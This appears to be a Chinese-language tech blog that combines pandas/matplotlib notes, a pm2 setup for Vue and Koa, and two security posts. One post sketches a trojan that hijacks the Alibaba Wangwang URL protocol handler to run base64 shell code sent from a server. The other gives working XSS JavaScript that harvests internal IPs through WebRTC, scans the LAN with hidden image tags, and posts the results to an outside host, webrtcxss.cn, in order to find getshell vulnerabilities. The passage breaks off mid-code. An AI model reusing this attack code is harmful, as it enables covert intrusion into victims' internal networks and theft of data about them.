pd.DataFrame(np.random.randn(6, 4), index=dates, columns=['a', 'b', 'c', 'd'])
#                    a         b         c         d
# 2017-11-08  0.644350  1.122020 -1.263401  0.163371
# 2017-11-09  0.573329 -0.242054 -0.342220  1.070905
# 2017-11-10  0.714291 -0.721509 -2.298672 -0.513572
# 2017-11-11 -0.614927  2.010482 -1.369179 -0.901276
# 2017-11-12  0.709672 -0.430620  1.070244 -2.308874
# 2017-11-13  1.284080  1.169807  1.668942  0.859300


pd.DataFrame({
  'A': 1.,
  'B': pd.Timestamp('20171108'),
  'C': pd.Series(1, index=list(range(4)), dtype='float32'),
  'D': np.array([3] * 4, dtype='int32'),
  'E': pd.Categorical(['test', 'train', 'test', 'train']),
  'F': 'foo'
})
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 3  1.0 2017-11-08  1.0  3  train  foo

选择获取 {#selection}

datas = pd.DataFrame({
  'A': 1.,
  'B': pd.Timestamp('20171108'),
  'C': pd.Series(1, index=list(range(4)), dtype='float32'),
  'D': np.array([3] * 4, dtype='int32'),
  'E': pd.Categorical(['test', 'train', 'test', 'train']),
  'F': 'foo'
})
#     A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 3  1.0 2017-11-08  1.0  3  train  foo

datas.A
# datas['A']
# 0    1.0
# 1    1.0
# 2    1.0
# 3    1.0
# Name: A, dtype: float64

datas[0:3]
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo

datas.loc[0]
# 当 index 是类似'2017-11-8 的时候'，datas.loc['20171108']
# A                      1
# B    2017-11-08 00:00:00
# C                      1
# D                      3
# E                   test
# F                    foo
# Name: 0, dtype: object

datas.loc[:,['A', 'B']]
#      A          B
# 0  1.0 2017-11-08
# 1  1.0 2017-11-08
# 2  1.0 2017-11-08
# 3  1.0 2017-11-08

datas.loc[[1, 3],['A', 'B']]
#      A          B
# 1  1.0 2017-11-08
# 3  1.0 2017-11-08

# icol 是基于行号获取的，col 是基于 index 获取的，ix 是他们俩的混合 (index、行号都可以)
# icol[1]
# ix[1]
# 当 index 为 2017-11-08 时，ix['20171108']

datas[datas.E == 'test']
#               A          B    C  D     E    F
# 2017-11-08  1.0 2017-11-08  1.0  3  test  foo
# 2017-11-10  1.0 2017-11-08  1.0  3  test  foo

datas.index
# Int64Index([0, 1, 2, 3], dtype='int64')

datas.columns
# Index([u'A', u'B', u'C', u'D', u'E', u'F'], dtype='object')

datas.values
# array(
# [
#   [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'test', 'foo'],
#   [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'train', 'foo'],
#   [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'test', 'foo'],
#   [1.0, Timestamp('2017-11-08 00:00:00'), 1.0, 3, 'train', 'foo']
# ],
# dtype=object)

排序 {#sorting}

datas.sort_index(axis=0, ascending=False)
#      F      E  D    C          B    A
# 0  foo   test  3  1.0 2017-11-08  1.0
# 1  foo  train  3  1.0 2017-11-08  1.0
# 2  foo   test  3  1.0 2017-11-08  1.0
# 3  foo  train  3  1.0 2017-11-08  1.0

datas.sort_index(axis=0, ascending=False)
#      A          B    C  D      E    F
# 3  1.0 2017-11-08  1.0  3  train  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 0  1.0 2017-11-08  1.0  3   test  foo

datas.sort_values(by='E')
#      A          B    C  D      E    F
# 0  1.0 2017-11-08  1.0  3   test  foo
# 2  1.0 2017-11-08  1.0  3   test  foo
# 1  1.0 2017-11-08  1.0  3  train  foo
# 3  1.0 2017-11-08  1.0  3  train  foo

设置值 {#set-values}

datas = pd.DataFrame({
  'A': pd.Series([1, 5, 'test', 'foo'], index=list(range(4))),
  'B': pd.Series([np.nan, 1, np.nan, 'test'], index=list(range(4))),
  'C': pd.Series(1, index=list(range(4)), dtype='float32'),
})
#       A     B    C
# 0     1   NaN  1.0
# 1     5     1  1.0
# 2  test   NaN  1.0
# 3   foo  test  1.0

datas.dropna(axis=0, how='any')
# 当 axis 是 1 时，则判断竖向里是否含有 NaN 的值
# how = 'any' || 'all' 默认是 any
# 当是 any 的时候，有一个值是 NaN 的时，就删除这一行。
# 当时 all 的时候，这一行全部为 NaN 时，就删除这一行
#      A     B    C
# 1    5     1  1.0
# 3  foo  test  1.0

datas.fillna(value=0)
#       A     B    C
# 0     1     0  1.0
# 1     5     1  1.0
# 2  test     0  1.0
# 3   foo  test  1.0

datas.isnull()
#        A      B      C
# 0  False   True  False
# 1  False  False  False
# 2  False   True  False
# 3  False  False  False

# 当数据特别大的时候，或者只想判断是否有值是 NaN 的值时
# np.any(datas.isnull()) == True
#   当有值时 NaN 时，将返回 True

导入导出 {#import-export}

pd.read_csv('***.csv',delimiter=',',encoding='utf-8',names=['test1','test2','test3'])
# 参数一: 读取的目标文件
# 参数二: csv 文件的分隔符
# 参数三: 编码
# 参数四: 设置列名

#           test1     test2          test3
# 0    2017-11-18       ABC        51315.0
# 1    2017-11-19       DEF         5659.0
# 2    2017-11-20       GHI         1599.0
# 3    2017-11-21       JKL         2224.0

datas.to_csv('**.csv')

合并 {#pandas-merge}

concat

datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd'])
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0

datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=['a', 'b', 'c', 'd'])
#      a    b    c    d
# 0  1.0  1.0  1.0  1.0
# 1  1.0  1.0  1.0  1.0
# 2  1.0  1.0  1.0  1.0

datas3 = pd.DataFrame(np.ones((3, 4)) * 2, columns=['a', 'b', 'c', 'd'])
#      a    b    c    d
# 0  2.0  2.0  2.0  2.0
# 1  2.0  2.0  2.0  2.0
# 2  2.0  2.0  2.0  2.0

pd.concat([datas1, datas2, datas3], axis=0, ignore_index=True)
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  1.0  1.0  1.0  1.0
# 4  1.0  1.0  1.0  1.0
# 5  1.0  1.0  1.0  1.0
# 6  2.0  2.0  2.0  2.0
# 7  2.0  2.0  2.0  2.0
# 8  2.0  2.0  2.0  2.0

pd.concat([datas1, datas2, datas3], axis=1)
#      a    b    c    d    a    b    c    d    a    b    c    d
# 0  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
# 1  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0  2.0  2.0  2.0  2.0

concat 部分参数 {#concat-params}

在 concat 里，join 的默认参数时 outer

datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd'], index=[1, 2, 3])
#      a    b    c    d
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  0.0  0.0  0.0  0.0

datas2 = pd.DataFrame(np.ones((3, 4)) * 1, columns=['b', 'c', 'd', 'e'], index=[2, 3, 4])
#      b    c    d    e
# 2  1.0  1.0  1.0  1.0
# 3  1.0  1.0  1.0  1.0
# 4  1.0  1.0  1.0  1.0

pd.concat([datas1, datas2], join='outer')
#      a    b    c    d    e
# 1  0.0  0.0  0.0  0.0  NaN
# 2  0.0  0.0  0.0  0.0  NaN
# 3  0.0  0.0  0.0  0.0  NaN
# 2  NaN  1.0  1.0  1.0  1.0
# 3  NaN  1.0  1.0  1.0  1.0
# 4  NaN  1.0  1.0  1.0  1.0

pd.concat([datas1, datas2], join='inner')
#      b    c    d
# 1  0.0  0.0  0.0
# 2  0.0  0.0  0.0
# 3  0.0  0.0  0.0
# 2  1.0  1.0  1.0
# 3  1.0  1.0  1.0
# 4  1.0  1.0  1.0

pd.concat([datas1, datas2], axis=1, join_axes=[datas2.index])
#      a    b    c    d    b    c    d    e
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 3  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 4  NaN  NaN  NaN  NaN  1.0  1.0  1.0  1.0
# 如果没有 join_axes 值时:
#      a    b    c    d    b    c    d    e
# 1  0.0  0.0  0.0  0.0  NaN  NaN  NaN  NaN
# 2  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 3  0.0  0.0  0.0  0.0  1.0  1.0  1.0  1.0
# 4  NaN  NaN  NaN  NaN  1.0  1.0  1.0  1.0

append

datas1 = pd.DataFrame(np.ones((3, 4)) * 0, columns=['a', 'b', 'c', 'd'])
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0

datas2 = pd.Series([1, 2, 3, 4], index=['a', 'b', 'c', 'd'])
# a    1
# b    2
# c    3
# d    4
# dtype: int64

datas1.append(datas2, ignore_index=True)
#      a    b    c    d
# 0  0.0  0.0  0.0  0.0
# 1  0.0  0.0  0.0  0.0
# 2  0.0  0.0  0.0  0.0
# 3  1.0  2.0  3.0  4.0

merge

left = pd.DataFrame({
  'key': ['k0', 'k1', 'k2', 'k3'],
  'A': ['A0', 'A1', 'A2', 'A3'],
  'B': ['B0', 'B1', 'B2', 'B3']
})
#     A   B key
# 0  A0  B0  k0
# 1  A1  B1  k1
# 2  A2  B2  k2
# 3  A3  B3  k3

right = pd.DataFrame({
  'key': ['k0', 'k1', 'k2', 'k3'],
  'C': ['C0', 'C1', 'C2', 'C3'],
  'D': ['D0', 'D1', 'D2', 'D3']
})
#     C   D key
# 0  C0  D0  k0
# 1  C1  D1  k1
# 2  C2  D2  k2
# 3  C3  D3  k3

pd.merge(left, right, on='key')
#     A   B key   C   D
# 0  A0  B0  k0  C0  D0
# 1  A1  B1  k1  C1  D1
# 2  A2  B2  k2  C2  D2
# 3  A3  B3  k3  C3  D3

left = pd.DataFrame({
  'key1': ['k0', 'k0', 'k1', 'k2'],
  'key2': ['k0', 'k1', 'k0', 'k1'],
  'A': ['A0', 'A1', 'A2', 'A3'],
  'B': ['B0', 'B1', 'B2', 'B3']
})
#     A   B key1 key2
# 0  A0  B0   k0   k0
# 1  A1  B1   k0   k1
# 2  A2  B2   k1   k0
# 3  A3  B3   k2   k1

right = pd.DataFrame({
  'key1': ['k0', 'k1', 'k1', 'k2'],
  'key2': ['k0', 'k0', 'k0', 'k0'],
  'C': ['C0', 'C1', 'C2', 'C3'],
  'D': ['D0', 'D1', 'D2', 'D3']
})
#     C   D key1 key2
# 0  C0  D0   k0   k0
# 1  C1  D1   k1   k0
# 2  C2  D2   k1   k0
# 3  C3  D3   k2   k0

pd.merge(left, right, on=['key1', 'key2'], how='inner')
# how 默认是 inner
#     A   B key1 key2   C   D
# 0  A0  B0   k0   k0  C0  D0
# 1  A2  B2   k1   k0  C1  D1
# 2  A2  B2   k1   k0  C2  D2

pd.merge(left, right, on=['key1', 'key2'], how='outer')
#      A    B key1 key2    C    D
# 0   A0   B0   k0   k0   C0   D0
# 1   A1   B1   k0   k1  NaN  NaN
# 2   A2   B2   k1   k0   C1   D1
# 3   A2   B2   k1   k0   C2   D2
# 4   A3   B3   k2   k1  NaN  NaN
# 5  NaN  NaN   k2   k0   C3   D3

pd.merge(left, right, on=['key1', 'key2']. how='right')
#      A    B key1 key2   C   D
# 0   A0   B0   k0   k0  C0  D0
# 1   A2   B2   k1   k0  C1  D1
# 2   A2   B2   k1   k0  C2  D2
# 3  NaN  NaN   k2   k0  C3  D3

pd.merge(left, right, on=['key1', 'key2'], how='left')
#     A   B key1 key2    C    D
# 0  A0  B0   k0   k0   C0   D0
# 1  A1  B1   k0   k1  NaN  NaN
# 2  A2  B2   k1   k0   C1   D1
# 3  A2  B2   k1   k0   C2   D2
# 4  A3  B3   k2   k1  NaN  NaN

matplotilb

导入 {#matplotlib-import}

import matplotlib.pyplot as plt

API

plot

data = pd.Series(np.random.randn(1000)) # 随机 1000 个数
data = data.cumsum() # 累加
# 因为 pandas 本来就是一个数据，所以可以直接 plot，
# 还有两种写法: plt.plot(x=，y = ) 或者 plt.plot([xxx，xxx]，[yyy，yyy])
data.plot()
plt.rcParams['font.sans-serif']=['SimHei'] # 用来正常显示中文标签
plt.rcParams['axes.unicode_minus']=False # 用来正常显示负号
# linewidth 线条的宽度
# linestyle 线条风格 (-实线 --破折线 -。点划线 : 虚线 None 说明都不画)
plt.plot([1,50,100],[1,4,9], linewidth=2.5, linestyle='--', label='lalala')
plt.legend(loc='upper left') # 没有这句，上面的 label 将不会显示
plt.plot([1,100,200],[1,7,9]) # 第三个数据
plt.title('Demo') # 标题
plt.xlabel('xxx') # x 轴名称
plt.ylabel('yyy') # y 轴名称
plt.text(60, 10, u'说明文字') # 说明文字
plt.show()  # 显示

#  随机 1000 行 4 列的数字，行数从 0 到 999，列表为 A B C D
data = pd.DataFrame(np.random.randn(1000, 4),
          index=np.arange(1000),
          columns=list('ABCD'))
data = data.cumsum()  # 累加
data.plot()
plt.show()

其他图 {#other-charts}

柱状图 {#bar-chart}

plt.bar(left, height, width=0.8)

散点图 {#scatter-plot}

plt.scatter(x,y)

基于 Vue+Koa 的 pm2 配置

bh@bugs.cc (Kevin Cui) — Tue, 07 Nov 2017 13:37:00 GMT

背景介绍 {#intro}

目前使用的技术栈是: 前端 Vue、后端 Koa、数据库 Mongodb。

然而每当起服务的时候，都要 npm start、node ./server/app.js，还要同时保持这两个窗口一直是开着的，很是麻烦。

而且因为我使用的是 koa，也没有使用狼叔写的 koa 脚手架。是自己基于廖雪峰老师的 Koa 框架改的一个小型 mvc。导致没有热更新。

为了简化这种没必要的操作及增加热更新，开始想怎么进行优化。于是选择了 pm2

配置 pm2 {#pm2-config}

先安装 pm2: npm i pm2、npm i pm2 -g 因为是开源项目，为了让代码能再别人的电脑上跑起来，需要让 pm2 存在项目里。然后在全局安装，方便后期调试

在当前的目录创建一个 pm2.json 的文件，内容如下:

{
  "apps": [{
    "name": "koler-server",
    "script": "./app.js",
    "error_file"      : "../logs/server-err.log",
    "out_file"        : "../logs/server-out.log",
    "merge_logs"      : true,
    "log_date_format" : "YYYY-MM-DD HH:mm Z",
    "cwd": "./server",
    "watch": [
      "app.js",
      "controllers"
    ],
    "watch_options": {
      "followSymlinks": false
    }
  },{
    "name": "koler-app",
    "script": "./build/dev-server.js",
    "error_file"      : "./logs/app-err.log",
    "out_file"        : "./logs/app-out.log",
    "merge_logs"      : true,
    "log_date_format" : "YYYY-MM-DD HH:mm Z",
    "cwd": "./",
    "ignore_watch" : [
      "node_modules"
    ],
    "watch_options": {
      "followSymlinks": false
    }
  }]
}

这里同时启动两个项目。 koler-server 是 koa，koler-app 是前端 vue。

我尝试了一下把

"error_file"      : "./logs/app-err.log",
"out_file"        : "./logs/app-out.log",
"merge_logs"      : true,
"log_date_format" : "YYYY-MM-DD HH:mm Z",

代码提升到 json 的根部，但是发现不起作用。看来 pm2 不支持这种。所以只能在每个服务里写了。

配置 package.json {#package-json-config}

替换之前的 script 字段下的 dev，然后再增加 stop 字段，替换后如下:

"scripts": {
  "dev": "pm2 start pm2.json && pm2 logs",
  "start": "npm run dev",
  "stop": "pm2 stop koler-app koler-server && pm2 delete koler-app koler-server",
  "build": "node build/build.js",
  "lint": "eslint --ext .js,.vue src"
},

pm2 start pm2.json && pm2 logs 是基于 pm2.json 文件配置启动，后面的 pm2 logs 是为了同时跟踪 vue 和 koa 的反馈日志。

输入 npm start 后。终端如下:

那个错误是不用管的，因为我忘记清理之前的日志了

启动后，你的屏幕会出现一个 cmd 窗口，不用关，过一会它会自行关闭的。每次修改代码触发 pm2 配置文件里 watch 规则时，就会自动弹出一个 cmd 窗口，也是过一会关闭。

因为其他项目使用者可能会在电脑上跑多个 pm2 实例，所以在 stop 字段里，我跟上了名字。防止出现把所有的实例全部暂定删除了。

测试 {#testing}

现在我们更改代码发现没有任何问题，pm2 会帮助我们自动进行热更新。现在我们故意改错一段 vue 的代码试试:

可以发现已经 OK 了。

这里说明一下为什么在 pm2.json 配置文件里的第二个实例 koler-app 没有 watch，因为 vue 在开发环境下使用的是 wenpack 的 watch，所以不需要加。

基于 URLProtocol 攻击的一些想法

bh@bugs.cc (Kevin Cui) — Sun, 26 Mar 2017 08:33:52 GMT

浏览器调起本地应用的原理是 URLProtocol 技术。¹

其中在注册表的 [HKEY_CLASSES_ROOT] 主键下，我们可以看到很多的 URLProtocol。

比如阿里旺旺的:

而阿里旺旺在网页端的和我联系按钮，是跳转到 https://amos.alicdn.com/getcid.aw?v=3&groupid=0&s=1&charset=utf-8&uid=淘宝店铺名&site=cntaobao&groupid=0&s=1&fromid=cntaobao淘宝用户名 链接的，而这个页面调用了下面的 javascript 代码:

!function() {
    var a = window,
    b = function() {
        try {
            window.open("", "_top"),
            a.opener = null,
            a.close()
        } catch(b) {}
    },
    c = function() {
        a.location.href = "aliim:sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1",
        setTimeout(function() {
            b()
        },
        6e3)
    };
    a.isInstalled ? a.isInstalled(function(b) {
        if (b) c();
        else {
            var d = confirm("\u68c0\u6d4b\u5230\u4f60\u672a\u5b89\u88c5\u963f\u91cc\u65fa\u65fa\u5ba2\u6237\u7aef,\u662f\u5426\u8981\u8df3\u8f6c\u5230\u5b98\u7f51\u4e0b\u8f7d?");
            d === !0 && (a.location.href = "https://wangwang.taobao.com")
        }
    }) : c()
} ();

其中最核心的代码就是 a.location.href = "aliim:sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1" 代码，而这段代码的 aliim 就是在注册表的 [HKEY_CLASSES_ROOT] 主键下的阿里旺旺主键名。

在上面的图中，我们可以看到当打开时，调用了 "D:\Program Files (x86)\AliWangWang\8.60.03C\wwcmd.exe" %1 命令，wwcmd.exe 就是阿里旺旺处理网页端信息的 API 接口，当处理成功时，就会调起回话窗口。%1 就是 sendmsg?touid=" + a.site + a.touid + "&site=" + a.site + "&status=1" 这段参数。让我们替换下 WWCmd.exe。看下是如何传递参数的:

 #include<stdio.h>
 int main(int argc,char **argv) {
      FILE *fp = fopen("c:/123.txt","w+");
      if(NULL == fp)
          return -1;
      while(argc-->0){
          fputs(*++argv,fp);
          fputs(" ",fp);
      }
      return 0;
  }

这段 C 语言代码是会把后面的参数另存为 c 盘下的 123.txt 文件，替换掉 WWCmd.exe 后，点击和我联系，C 盘下存在了一个 123.txt 文件

发现，把 aliim: 也传递进去了，按照这个请求的话，我们可以构造一个 exe 程序，来进行接收参数了。个人能力有限，说说大体的思路吧。

exe 程序替换掉原有的 WWCmd.exe 程序，然后来生成特定的插件，植入到浏览器里，然后用户每打开一个网站都会从服务器端接收一个特定的 base64 编码后的 shell 代码。然后执行 aliim:cmd=服务端的base64，然后运行。当参数为 sendmsg 时，调起阿里旺旺，当为 cmd 时执行代码。这样的话，木马的隐藏及唤醒条件都达到了。同理迅雷下载等也都可以。

好处是在哪呢，一般来说浏览器调起阿里旺旺、迅雷等应用都会弹窗，但是一般用户都会点击不在提示。这样的话，目标就打成了。

这只是一个思路，不太成熟。欢迎大家补充。

详情可以在 http://www.cnblogs.com/wang726zq/archive/2012/12/11/UrlProtocol.html 和 http://blog.csdn.net/zssureqh/article/details/25828683 里查看。 ↩

XSS 自动化入侵内网

bh@bugs.cc (Kevin Cui) — Wed, 14 Dec 2016 14:40:25 GMT

0x01 前言: {#intro}

很多人都认为 XSS 只能做盗取 cookies 的活。以至于有些 SRC、厂商对待反射型 XSS 视而不见，或者说是根本不重视。

直到“黑哥”在之前的演讲中提到 XSS 入侵内网，情况才得以好转。但是经过本人测试，黑哥所说的 XSS 内网入侵，应该是包含了浏览器漏洞。那没有浏览器漏洞该如何呢？就像 0x_Jin 之前在乌云报道的搜狐漏洞那样: http://www.wooyun.org/bugs/wooyun-2014-076685

这里有几个需要注意的地方: 由于浏览器的同源策略问题导致没有办法做到真正意义上的内网入侵，当然如果你又浏览器的 0day，那事情就另当别论了。

而 0x_Jin 在乌云中的那篇漏洞报告，我自己本人也去问了。答复就是只是检测了开放的 80 端口，就没有后续了。黑哥没有公布完整的代码，0x_Jin 没有深入。既然都没有，就交给我吧。这里我将会使用其他办法“绕过浏览器的同源策略”。

0x02 构架: {#architecture}

代码采用了类似 XSS 平台那种实时反馈机制。在这里我先把变量介绍一遍:

var onlyString           = "abc";
var ipList               = [];
var survivalIpLIst       = [];
var deathIpLIst          = [];
var sendsurvivalIp       = "http://webrtcxss.cn/Api/survivalIp";
var snedIteratesIpUrl    = "http://webrtcxss.cn/Api/survivalPortIp";
var snedIteratesCmsIpUrl = "http://webrtcxss.cn/Api/survivalCmsIp";
var sendExistenceVul     = "http://webrtcxss.cn/Api/existenceVul";

onlyString : 唯一字符串，用于让服务器识别当前发送的请求是哪一个项目，真实代码是不会写成 abc 的，会使用 md5(date(‘Y-m-d H: i: s’)) 来生成 hash。
ipList : 数组变量用来储存 webrtc 获取的内网 IP 地址。
survivalIpLIst : 数组对象用于存放开放 80 端口的 IP 地址
deathIpLIst : 数组对象用于存放不存在 80 端口的 IP，用于判断
sendsurvivalIp : 发送当前内网 IP 的信息到服务端
snedIteratesIpUrl : 从服务端反馈的 cms 路径对当前存在 80 端口的 IP 进行判断，看现有存活的 IP 地址是否可以在服务端里找到所匹配的 CMS 信息
snedIteratesCmsIpUrl : 用于在已匹配到的 cms 信息里，从服务端里验证这个 cms 是否存在我们在服务端里所保存的 getshell 漏洞
sendExistenceVul : 已确定漏洞，发送到服务端

之前在 0x01 前言里说到，这里我将会使用其他办法“绕过浏览器的同源策略”。整段代码的构架: https://www.processon.com/view/link/5711cdc6e4b0d7e7748c34ec

0x03 获取内网的 IP 信息: {#get-ip}

详情请移步到: https://webrtc.org/faq/#what-is-webrtc 因为 WebRTC 让 JavaScript 具有了一定的底层操作方法，而由于 WebRTC 的特殊性，让我们可以使用 JavaScript 来获取到内网 IP。目前 WebRTC 支持的平台有: Chrome、Firefox、Opera、Android、IOS。实际测试的时候 maxthon 也是支持的（此处有伏笔）。 WebRTC 获取内网 IP 这段代码网上是可以找到的，而在这里需要修改一下。方便其他代码容易调用。然后就是 webrtc 的代码了:

var webrtcxss = {
    webrtc : function(callback){
        var ip_dups           = {};
        var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
        var mediaConstraints  = {
            optional: [{RtpDataChannels: true}]
        };
        var servers = undefined;
        if(window.webkitRTCPeerConnection){
            servers = {iceServers: []};
        }
        var pc = new RTCPeerConnection(servers, mediaConstraints);
        pc.onicecandidate = function(ice){
            if(ice.candidate){
                var ip_regex        = /([0-9]{1,3}(\.[0-9]{1,3}){3})/;
                var ip_addr         = ip_regex.exec(ice.candidate.candidate)[1];
                if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
                ip_dups[ip_addr] = true;
            }
        };
        pc.createDataChannel("");
        pc.createOffer(function(result){
            pc.setLocalDescription(result, function(){});
        });
    },
    getIp : function(){
        this.webrtc(function(ip){
            ipList.push(ip);
        });
    }
}
webrtcxss.getIp();

现在我们来打印一下看看:

已经获取到了我当前主机的 IP 地址了。

0x04 检测内网中开启了 80 端口的 IP: {#port-scan}

上一节的结尾可以看到 webrtcxss.getIp();已经调用了 WebRTC 来获取到内网的 IP 信息，IP 保存在 ipList 数组变量里。这里就要检测内网中所有开放 80 端口的 IP 了。这里我写了一个函数来把这一步放到函数里:

function iteratesIp(){
    stage(1)
    ipAjax = new XMLHttpRequest();
    ipAjax.open('POST', sendsurvivalIp, false);
    ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    ipAjax.send('survivalip='+ ipList.join("-") + '&onlystring=' + onlyString);
    for(var i = 0;i < ipList.length;i++){
        incompleteIp = ipList[i].split(".");
        incompleteIp.pop();
        incompleteIp = incompleteIp.join(".");
        for(var j = 1;j < 255;j++){
            var ip = incompleteIp + "." + j;
            var imgTag = document.createElement("img");
            imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
            imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
            imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
            imgTag.setAttribute("style","display:none;");
            document.getElementsByTagName("body")[0].appendChild(imgTag);
        }
    }
}
setTimeout("iteratesIp()",20000);
(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();

至于其中的 stage(1) 是我自己写的一个函数，用于实时向服务端发送当前最新的运行情况，我们放到最后再说。

ipAjax = new XMLHttpRequest();
ipAjax.open('POST', sendsurvivalIp, false);
ipAjax.setRequestHeader("Content-type","application/x-www-form-urlencoded");
ipAjax.send('survivalip='+ ipList.join("-") + '&onlystring=' + onlyString);

这段代码是把当前获取到的内网 IP 发送到服务端，至于为什么要在 ipList 后面加上 join(“-”) 函数是因为 WebRTC 有时会把获取网关、VM 虚拟机的 IP 也获取上来。

for(var i = 0;i < ipList.length;i++){
    incompleteIp = ipList[i].split(".");
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(".");
    for(var j = 1;j < 255;j++){
        var ip = incompleteIp + "." + j;
        var imgTag = document.createElement("img");
        imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
        imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
        imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
        imgTag.setAttribute("style","display:none;");
        document.getElementsByTagName("body")[0].appendChild(imgTag);
    }
}

这段代码是遍历所有内网主机 80 端口的。我们来实际看下把:

后面的。104 被我们去掉了。然后利用 for 循环来遍历 192.168.1.1~192.168.1.254 现在我们来运行

for(var i = 0;i < ipList.length;i++){
    incompleteIp = ipList[i].split(".");
    incompleteIp.pop();
    incompleteIp = incompleteIp.join(".");
    for(var j = 1;j < 255;j++){
        var ip = incompleteIp + "." + j;
        var imgTag = document.createElement("img");
        imgTag.setAttribute("src","http://" + ip + "/favicon.ico");
        imgTag.setAttribute("onerror","javascript:deathIpLIst.push('"+ip+"')");
        imgTag.setAttribute("onload","javascript:survivalIpLIst.push('"+ip+"')");
        imgTag.setAttribute("style","display:none;");
        document.getElementsByTagName("body")[0].appendChild(imgTag);
    }
}

这段代码:

这是控制台的效果，我们来看下 DOM 发生了哪些变化把:

这里我使用的是 http://192.168.1.xxx/favicon.ico 来判断内网哪些 IP 开启了 80 端口，并且上面运行着站点。其中的 onerror="javascript:deathIpLIst.push('192.168.1.xxx')" 是如果此 IP 没有开启 80 端口，或者开启了 80 端口，但是没有运行站点的话，就调用把当前的 IP 地址 push 到 deathIpLIst 变量里。如果存在的话就 push 到 survivalIpLIst 变量里，也就是这段代码: onload="javascript:survivalIpLIst.push('192.168.1.1')" 至于为什么要这么做呢，这里就要涉及一个坑了。浏览器是不会你加载了哪些图片就立刻告诉你哪些图片是可以访问，哪些图片是不能访问的，浏览器需要一个缓冲的时间。检测同一网段里 254 个主机是否存在 favicon.ico，大约需要花费 550000ms===550s 约等于 2.16535s/IP。也就是 9.16 多分钟。也就是全部检测完需要等待 9.16 分钟。这也是没办法的事，改变不了。至于下面为什么要使用 setTimeout("iteratesIp()",20000); 来延迟 20 秒执行呢，因为 WebRTC 获取 IP 需要一定的时间，其实几秒钟就好了。但是为了提高容错率我把时间提高到 20 秒的时间，如果你嫌慢，可以在文章结尾下载源代码，修改。还有一段代码是这样的:

(function(){
    if(deathIpLIst.length + survivalIpLIst.length == 254){
        snedIteratesIpData(survivalIpLIst);
    }else{
        setTimeout(arguments.callee,5000);
    }
})();

这就是为什么我之前要把 80 端口不存在的 IP 放到一个数组变量里，存在 80 端口的 IP 放到一个数组变量里。因为我不确定他们什么时候好，之前说的 9.1 分钟，只是一个大概时间，因电脑配置、内网通讯速度等其他的原因可能会提前，也可能会更慢。我无法做出保证。所以写了一段代码。下面我来说说这段代码的意思:

(function(){
    /*coding*/
})();

是一段匿名函数，当代码运行到此处时会立刻执行此函数。函数里面首先是判断 deathIpLIst.length + survivalIpLIst.length 是否等于 254。如果等于 254 则调用 snedIteratesIpData 函数，并把开启 80 端口并运行站点的 IP 作为参数发送过去。如果不等于说明浏览器还没有把所有的图片都给判断好。进入 else 分之。 setTimeout(arguments.callee,5000); 是延迟 5 秒钟运行 arguments.callee。而 arguments.callee 的意思是当前函数。我们来实际看下:

console.log 打印了当前的函数，当然你也可以使用 setTimeout(当前的函数名 ()，5000);来达到此效果，但是此方法对于匿名函数没有用。因为匿名函数是不存在名称的。如果学了递归的朋友们，应该会很好理解。说通俗点就是: 每隔 5 秒钟运行此函数，直到所有 img 标签全部判断完成，才进行下一步的操作。

0x05 确认内网存活主机的 CMS 信息: {#detect-cms}

上一节我们说到闭包里的 if 条件里 true 执行的 snedIteratesIpData 函数，现在我们就来说说这个函数里面是什么内容:

function snedIteratesIpData(ip){
    if(deathIpLIst.length == 254){
        return false;
    }
    stage(2)
    ip = ip.join("-")
    ipAjax = new XMLHttpRequest();
    ipAjax.onreadystatechange = function(){
        if(ipAjax.readyState == 4 && ipAjax.status == 200){
            var cmsPath = JSON.parse(ipAjax.responseText).path;
            for(var key in cmsPath){
                for(var i = 0;i < survivalIpLIst.length;i++){
                    var scriptTag = document.createElement("script");
